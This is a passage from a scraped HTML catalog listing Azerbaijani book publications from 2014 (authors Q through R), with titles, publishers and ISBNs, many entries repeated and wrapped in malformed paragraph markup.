Qafqaz Universiteti, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qloballaşma prosesində Qafqaz və Mərkəzi Asiya. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qocayev, E. Karyera bələdçisi: düzgün peşə seçimi və uğurlu iş axtarışı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266979</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qocayev, E. Karyera bələdçisi: düzgün peşə seçimi və uğurlu iş axtarışı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266979</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qolden , A . Geyşanın memuarları . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268232</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qonçarov ,İ . A . Oblomov . Bakı : Qanun, 2014 . ISBN: &nbsp;&nbsp;9789952268867</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qorki, M. Uşaqlıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267747</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qorki, M. Uşaqlıq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267747</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qrey, C .&nbsp; Kişilər marsdan,qadınlar veneradandır .&nbsp; Bakı :&nbsp;&nbsp; Kitab Klubu , 2014 . ISBN&nbsp; :&nbsp; 9789952820249</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qrin, R. Hakimiyyətin 48 qanunu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266634</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qrin, R. Hakimiyyətin 48 qanunu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266634</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, A. Ağrı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 97899522676863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, A. Ağrı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 97899522676863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Ə. M. Azərbaycanın bal verən bitkiləri. Bakı: AFPoliqrAF, 2014. ISBN: 9789952824810</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Ə. M. Azərbaycanın bal verən bitkiləri. Bakı: AFPoliqrAF, 2014. ISBN: 9789952824810</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, İ. Ə. Ümumi torpaqşünaslıq və torpaq coğrafiyası. Bakı: 2014. ISBN: 9789952824834</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, İ. Ə. Ümumi torpaqşünaslıq və torpaq coğrafiyası. Bakı: 2014. ISBN: 9789952824834</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Q. XX əsrin görkəmli ədəbiyyatşünas alimləri. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496017</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, Q. XX əsrin görkəmli ədəbiyyatşünas alimləri. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496017</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qurbanov, A. Sivilizasiyanın ekoloji perspektivləri tarixi prosesdə ekoloji amil. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qurbanov, A. Sivilizasiyanın ekoloji perspektivləri tarixi prosesdə ekoloji amil. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">L`incarnation. Baku: Foundation Heydr Aliyev, 2014. ISBN: 9789952483857</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">L`incarnation. Baku: Foundation Heydr Aliyev, 2014. ISBN: 9789952483857</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ləzgicə - Azərbaycanca lüğət. Bakı: Araz, 2014. ISBN: 9789952825855</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ləzgicə - Azərbaycanca lüğət. Bakı: Araz, 2014. ISBN: 9789952825855</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A, Seçilmiş hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267389</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A, Seçilmiş hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267389</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A. Balaca və Karlson. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241877</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Lindqren, A. Balaca və Karlson. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241877</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Dəmir daban. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Dəmir daban. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Seçilmiş hekayələri. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">London, C. Seçilmiş hekayələri. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maalof,AQ&nbsp; . Leon Afrikalı . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268805</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mahmud, İ. Ttualet kağızı: heç nə haqqında üç esse. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267075</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mahmud, İ. Ttualet kağızı: heç nə haqqında üç esse. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267075</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Makiavelli,N. Hökmdar . Bakı : Qanun , 2014 . ISBN : 9789952269185</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maqsudoğlu, H. Business English. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496024</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maqsudoğlu, H. Business English. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496024</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Medvedev, V . Barankin,Adam ol ! Bakı : Qanun ,&nbsp;&nbsp; 2014 . ISBN&nbsp; :&nbsp;&nbsp; 978-9952268546</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdi, N. 110 nəsnə: hərəsindən bir az. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267501</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdi, N. 110 nəsnə: hərəsindən bir az. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267501</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdiyev, Ə. “Əsrin müqaviləsi”: Azərbaycan neft strategiyasının təməl daşı. Bakı: Turxan NPB, 2014. ISBN: 9789952821222</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdiyev, Ə. “Əsrin müqaviləsi”: Azərbaycan neft strategiyasının təməl daşı. Bakı: Turxan NPB, 2014. ISBN: 9789952821222</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Menschüerdung. Baku: Heydär Äliyev Stiftung, 2014. ISBN: 9789952483871</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Menschüerdung. Baku: Heydär Äliyev Stiftung, 2014. ISBN: 9789952483871</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mədəniyyətimizin&nbsp; qəndilləri&nbsp; . Bakı : Qanun&nbsp; , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822182</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Məmmədov ,&nbsp; A .&nbsp; Aşma . Bakı : Qanun , 2014 .&nbsp; ISBN : 9789952268270</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, A. Bağırov və Beriya Məxfi protokollar. Bakı: Qələm, 2014. ISBN: 9789952465211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, A. Bağırov və Beriya Məxfi protokollar. Bakı: Qələm, 2014. ISBN: 9789952465211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, T. S. Bitki ekologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495140</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, T. S. Bitki ekologiyası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495140</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Miller , H . Xərçəng tropiki .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268577</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Monten, M. Ləyaqətlə yaşamaq qabiliyyəti haqqında. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266993</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Monten, M. Ləyaqətlə yaşamaq qabiliyyəti haqqında. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266993</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Morua, A. Yad qadına məktublar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Morua, A. Yad qadına məktublar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Murad, X. Analı günlərin davamı... Bakı: AFPoliqrAF, 2014. ISBN: 9789952824872</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Murad, X. Analı günlərin davamı... Bakı: AFPoliqrAF, 2014. ISBN: 9789952824872</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Muradov,&nbsp; S . 40 hədisdə ticarət&nbsp; . Bakı : İpəkyolu&nbsp; ,&nbsp; 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822113</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musayev, A. İnnovasiya iqtisadiyyatı və vergi stimullaşdırılması. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musayev, A. İnnovasiya iqtisadiyyatı və vergi stimullaşdırılması. Bakı: Azərbaycan Universiteti, 2014. ISBN: 9789952496000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mustafa Gül, M. Elyas Gibb və Azərbaycan. Bakı: Qafqaz Universiteti nəşri, 2014. ISBN: 9789952468250</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mustafa Gül, M. Elyas Gibb və Azərbaycan. Bakı: Qafqaz Universiteti nəşri, 2014. ISBN: 9789952468250</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mücəssəmə. Bakı: Heydər Əliyev Fondu, 2014. ISBN: 9789952483888</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mücəssəmə. Bakı: Heydər Əliyev Fondu, 2014. ISBN: 9789952483888</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nadir Mir-İbrahim oğlu Seyidov. Bakı: Elm nəşriyyatı, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nadir Mir-İbrahim oğlu Seyidov. Bakı: Elm nəşriyyatı, 2014.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nejad, S. Ə. Yasin surəsinin təfsiri. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460377</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nejad, S. Ə. Yasin surəsinin təfsiri. Bakı: Zərdabi LTD MMC, 2014. ISBN: 9789952460377</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəbioğlu ,&nbsp; R .&nbsp; Dərəzarat&nbsp; .&nbsp; Bakı : Afpoliqraf&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952823257</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəcəf, Ə. N. İnanc Yaddaşı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəcəf, Ə. N. İnanc Yaddaşı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəsil , Ö .&nbsp; Peyğəmbər dostları&nbsp; . Bakı : İpəkyolu&nbsp; , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822137</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, K. Miras: hekayələr,&nbsp; pyeslər. Bakı: Mütərcim, 2014. ISBN: 9789952281941</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, K. Miras: hekayələr,&nbsp; pyeslər. Bakı: Mütərcim, 2014. ISBN: 9789952281941</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, Ş. Əfsanəvi Mixaylo. Bakı: Qələm, 2014. ISBN: 9789952465983</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəzirli, Ş. Əfsanəvi Mixaylo. Bakı: Qələm, 2014. ISBN: 9789952465983</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Niyazov , Ə . Danışıq ədəbi .&nbsp; Bakı :&nbsp; İpəkyol , 2014 . ISBN&nbsp; :&nbsp; 9789552822120</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oruell , C . Paris və Londonda qara qəpiksiz .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268461</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Osmanov, C. Mücahidin yolu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267167</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Osmanov, C. Mücahidin yolu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267167</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oşo. Qadınların kitabı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266535</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oşo. Qadınların kitabı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266535</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Döyüşçü klubu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267334</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Döyüşçü klubu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267334</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Layla. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266672</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Palanik, Ç. Layla. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266672</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pamuk, O. Məsumiyyət muzeyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266580</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pamuk, O. Məsumiyyət muzeyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266580</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pashayeva, M. The history and ethnography of Shahdagh peoples. Baku: Khazar University, 2014. ISBN: 9789952824858</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pashayeva, M. The history and ethnography of Shahdagh peoples. Baku: Khazar University, 2014. ISBN: 9789952824858</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pavlenko, N. Birinci Pyotr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266719</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pavlenko, N. Birinci Pyotr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266719</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Perker , Ə . E .&nbsp; Sufle . Bakı : Qanun , 2014 . ISBN:&nbsp; 9789952268133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pərvin. Söhbətlər. Bakı: Mütərcim, 2014. ISBN: 9789952281729</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pərvin. Söhbətlər. Bakı: Mütərcim, 2014. ISBN: 9789952281729</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Prokurorluğa qəbulla bağlı testlər . Bakı :&nbsp; Qanun , 2014. ISBN : 9789952268973</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Daniz .&nbsp; Christopher Columbus,Nasiraddin Tusi and real discovery of America&nbsp; . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952823059</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Daniz .&nbsp; The scientist passed ahead of centuries - Nasiraddin Tusi&nbsp; .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952823035</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz&nbsp; . Cənnətə gedənlər cəhənnəmə düşürlər&nbsp; .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952826418</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz .&nbsp; Xristofor Kolumb,Nəzirəddin Tusi və Amerika qitəsinin həqiqi kəşfi . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952823073</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Braziliyanın müəmmalı kəşfi&nbsp; . Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952823066</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Enigmatic discovery of Brazil . 